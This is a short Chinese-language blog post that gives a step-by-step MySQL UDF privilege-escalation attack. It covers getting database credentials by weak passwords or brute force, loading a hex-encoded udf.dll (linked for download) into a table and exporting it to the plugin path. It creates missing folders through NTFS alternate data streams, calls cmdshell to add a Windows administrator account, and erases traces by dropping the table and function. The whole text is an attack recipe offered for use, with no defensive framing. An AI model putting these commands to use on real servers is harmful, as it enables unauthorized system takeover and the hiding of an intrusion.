提權基礎-----mysql-udf提權
阿新 • • 發佈:2018-05-01
paths 導出 table ads local sele 代碼 更新 reat
1.總結關於udf提權方法
通過弱口令,爆破,網站配置文件等方式得到mysql數據庫帳號密碼,---還要能外連
(1).將udf.dll代碼的16進制數聲明給my_udf_a變量
set @my_udf_a=concat(‘‘,dll的16進制);
(2).建表my_udf_data,字段為data,類型為longblob。
udf.dll
https://pan.baidu.com/s/1FY8Ej1tMDGdbb5OEcx3BgA
create table my_udf_data(data LONGBLOB);
(3)將my_udf_data表更新為@my_udf_a中的數據。
insert into my_udf_data values(""); update my_udf_data set data = @my_udf_a;
(4)查看dll導出路徑
Mysql<5.0,導出路徑隨意;
5.0<=mysql<5.1,則需要導出至目標服務器的系統目錄(如:system32),否則在下一步操作中你會看到“No paths allowed for shared library”錯誤;
mysql>5.1,需要導出dll到插件路徑,插件路徑可以用下面這條命令查看:show variables like ‘%plugin%‘;
(5)將dll導出
.dll的名字可以任意命名
*某些情況下,我們會遇到Can‘t open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,但是默認情況下plugin不存在,怎麽辦? 還好有大牛研究出了利用NTFS ADS流來創建文件夾的方法
select @@basedir;
//查找到mysql的目錄
select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION‘;
//利用NTFS ADS創建lib目錄
select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION‘;
//利用NTFS ADS創建plugin目錄
(6)通過cmdshell function進行提權
select cmdshell(‘net user x x /add‘);
select cmdshell(‘net localgroup administrators x /add‘);
(7)擦除痕跡:
drop table my_udf_data;
drop function cmdshell;
2.udf木馬提權
輸入數據庫帳號密碼
按說明來
提權基礎-----mysql-udf提權